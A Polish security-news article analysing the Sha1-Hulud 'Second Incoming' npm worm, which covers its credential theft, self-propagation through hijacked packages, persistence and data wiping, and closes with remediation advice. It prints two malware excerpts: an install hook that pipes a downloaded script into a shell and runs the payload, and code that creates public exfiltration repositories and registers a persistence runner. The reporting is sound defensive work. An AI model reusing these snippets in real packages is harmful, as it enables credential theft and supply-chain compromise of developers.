Black Week z sekurakiem! Tniemy ceny nawet o 80%!
Sha1-Hulud – znaczna eskalacja w kampaniach cyberprzestępczych obejmujących ataki na łańcuch dostaw
Ponad dwa miesiące temu, opisywaliśmy nowy rodzaj kampanii wymierzonej w developerów npm o nazwie Shai-Hulud. Złośliwe, samoreplikujące się oprogramowanie wykorzystywało znane narzędzia, takie jak trufflehog do poszukiwania tokenów i sekretów. Ponadto wykorzystywało wykradzione tokeny do infekowania paczek w rejestrze npm. Ten drugi krok pozwalał na rozprzestrzenianie się w środowiskach deweloperów. Już wtedy malware stosowało techniki takie jak zmiana widoczności repozytoriów (ujawniało kod źródłowy prywatnych projektów) dla kont skojarzonych z odnalezionymi tokenami.
TLDR:
- We wrześniu opisywaliśmy atak na łańcuch dostaw o kryptonimie Shai-Hulud. Bardzo podobny malware zaczął się rozprzestrzeniać 24.11.2025.
- Tym razem kampania nosi nazwę Sha1-Hulud Second Incoming, a złośliwy kod zyskał nowe, destrukcyjne możliwości.
- Na razie wiemy o ponad 300 “ciekawych” ofiarach kontynuowanej kampanii. Ale tak naprawdę skala ataku może być dużo większa.

24.11.2025 doszło do kolejnej fali ataków, o której informuje między innymi zespół GitLab Vulnerability Research. Malware, w kampanii określonej przez przestępców jako “Second Incoming”, wykorzystuje podobny mechanizm działania, jednak oprócz tego zawiera element destrukcyjny. Jeśli nie uda się dokonać eksfiltracji danych, to zawartość katalogu domowego użytkownika jest po prostu niszczona.
Malware poszukuje sekretów i “kredek” (czyli poświadczeń) z serwisów przeznaczonych głównie dla deweloperów, takich jak GitHub czy npm, ale także środowisk chmurowych (AWS, GCP, Azure). Znalezione sekrety są podwójnie kodowane w base64 i publikowane w ogólnodostępnym repozytorium. Oprócz tego, wykorzystuje tokeny do rejestru npm w celu dalszego rozprzestrzeniania się.
Data ataku jest nieprzypadkowa, ponieważ przypada kilkanaście dni przed ostatecznym deadlinem, w którym zostaną wyłączone wszystkie “klasyczne” tokeny npm – zmiana ma na celu poprawę bezpieczeństwa środowiska i wymuszenie stworzenia poświadczeń gwarantujących dokładniejszą kontrolę dostępu.
// This file gets added to victim's packages as setup_bun.js
#!/usr/bin/env node
async function downloadAndSetupBun() {
// Downloads and installs bun
let command = process.platform === 'win32'
? 'powershell -c "irm bun.sh/install.ps1|iex"'
: 'curl -fsSL https://bun.sh/install | bash';
execSync(command, { stdio: 'ignore' });
// Runs the actual malware
runExecutable(bunPath, ['bun_environment.js']);
}
Listing 1. setup_bun.js – plik dodawany do przejmowanego pakietu npm (źródło)
Malware znajduje pakiety npm, które są zarządzane przez zainfekowanego użytkownika i modyfikuje package.json, dodając plik setup_bun.js, który dokonuje infekcji przez pobranie i wykonanie zobfuskowanego skryptu. Krok ten ma na celu uwiarygodnienie zmian – setup_bun.js jest niewielkim plikiem, który nie będzie budził większych wątpliwości (zanim się w niego nie wczyta…)
Ponownie wykorzystano repozytoria GitHub (publiczne!) do eksfiltracji pozyskanych danych. Malware próbuje wyszukać token GH, aby następnie stworzyć z jego pomocą repo i zainstalować GH Actions runner – maszynę, która ma zapewnić persystencję (listing 2).
async function createRepo(name) {
// Creates a repository with a specific description marker
let repo = await this.octokit.repos.createForAuthenticatedUser({
name: name,
description: "Sha1-Hulud: The Second Coming.", // Marker for finding repos later
private: false,
auto_init: false,
has_discussions: true
});
// Install GitHub Actions runner for persistence
if (await this.checkWorkflowScope()) {
let token = await this.octokit.request(
"POST /repos/{owner}/{repo}/actions/runners/registration-token"
);
await installRunner(token); // Installs self-hosted runner
}
return repo;
}
Listing 2. Fragment kodu, odpowiedzialnego za stworzenie repozytorium i instalację mechanizmu persystencji (źródło)
Jeśli ta procedura się nie uda z otrzymanym tokenem, malware próbuje przeszukać inne repozytoria pod kątem frazy “Sha1-Hulud: The Second Coming.” i pozyskać tokeny z tamtych repozytoriów.
Odnalezione poświadczenia npm służą do wylistowania pakietów, którymi może zarządzać zainfekowany użytkownik. Następnie do każdego z tych pakietów dodawany jest pierwszy stage malware, wersja paczki jest podbijana i publikowana.
Ale to nie wszystko – na koniec, malware stale monitoruje dostęp do GitHuba i npm. Jeśli obydwa te kanały (propagacji i eksfiltracji) zostaną zablokowane (np. przez wygaszenie tokenów), to malware dokonuje wymazania danych z nośników. O ile wywołanie samego polecenia rm/del, nie spowoduje zniszczenia danych, to nadpisanie nośnika poleceniem cipher lub shred już tak (a nawet jeśli nie używacie HDD, to przynajmniej troszeczkę zużyje kontrolery pamięci na dyskach SSD). Jak widać przestępcy przemyśleli i ten krok. Malware wykorzystuje zainfekowane komputery niczym zakładników – jesli GitHub oraz NPM podejmą decyzję o masowym wygaszeniu poświadczeń, to te systemy, na których malware jeszcze działa, utracą część danych.
Wśród zainfekowanych firm, znaleźli się tacy gracze jak Zapier, ENS, AsyncAPI, PostHog, Browserbase, czy Postman. Część z tych firm opublikowała już oświadczenia.
Listę, która jest na bieżąco monitorowana, utrzymuje na swoim blogu firma aikido.dev. Na ten moment 492 pakietów npm, których sumaryczna liczba pobrań przekracza 132 miliony, padło już ofiarą kampanii przestępców.
Co robić, jak żyć? Internet może być przerażającym miejscem, jednak do tego typu ataków należy przywyknąć (nawet jeśli zostaną wprowadzone mechanizmy mające na celu poprawę tej sytuacji w samym npm/GH). Na ten moment należy sprawdzić system pod kątem znanych IoC oraz zweryfikować wykorzystywane zależności. Wyraźnym wskaźnikiem infekcji będzie publiczne repozytorium GitHuba. W przypadku wykrycia malware, należy niezwłocznie dokonać rotacji wszystkich wykorzystywanych poświadczeń. Tam gdzie jest to możliwe zaleca się wyłączenie skryptów postinstall.
~Black Hat Logan
